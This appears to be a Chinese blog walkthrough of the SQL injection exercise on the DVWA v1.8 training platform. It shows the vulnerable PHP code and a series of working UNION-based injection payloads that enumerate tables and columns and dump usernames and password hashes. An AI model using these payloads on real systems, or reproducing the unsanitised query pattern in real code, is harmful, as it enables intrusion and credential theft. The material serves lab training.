1. 程式人生 > >DVWA平臺v1.8-SQL註入

DVWA平臺v1.8-SQL註入

內容 res 單引號 src order 分享 i++ 技術分享 base

代碼

<?php     

if(isset($_GET[‘Submit‘])){ 
     
    // Retrieve data 
     
    $id = $_GET[‘id‘]; 

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘"; 
    $result = mysql_query($getid) or die(‘<pre>‘ . mysql_error() . ‘</pre>‘ ); 

    $num = mysql_numrows($result); 

    $i = 0; 

    while ($i < $num) { 

        $first = mysql_result($result,$i,"first_name"); 
        $last = mysql_result($result,$i,"last_name"); 
         
        echo ‘<pre>‘; 
        echo ‘ID: ‘ . $id . ‘<br>名字: ‘ . $first . ‘<br>姓氏: ‘ . $last; 
        echo ‘</pre>‘; 

        $i++; 
    } 
} 
?>

該代碼沒有對傳入的id進行檢測和過濾,且為字符型註入

技術分享圖片

提交1,搜索

技術分享圖片

提交單引號,報錯

技術分享圖片


提交1 and 1=1,查詢,返回正確

技術分享圖片

提交1 and 1=2,查詢,返回正確

技術分享圖片

提交1‘and ‘1‘ =‘1,查詢,返回正確

技術分享圖片

提交1‘and ‘1‘ =‘2,查詢,無返回

技術分享圖片

判斷為字符型註入

order by查詢字段數

1‘ order by 1#,返回正確

1‘ order by 2#,返回正確

1‘ order by 3#,返回錯誤

有兩個字段

爆字段

1‘ union select 1,2#

技術分享圖片

查詢一下數據庫版本和當前數據庫名

1‘ union select version(),database()#

技術分享圖片

數據庫版本為5.5.40,當前數據庫名為dvwa

查詢數據庫中的表

1‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

技術分享圖片

有guestbook和users兩個表

查詢users這個表

1‘ union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273#

註:table_name後面跟著是users的Hex值

技術分享圖片

對user和password的內容進行讀取

-1‘ union select user,password from users#

技術分享圖片

DVWA平臺v1.8-SQL註入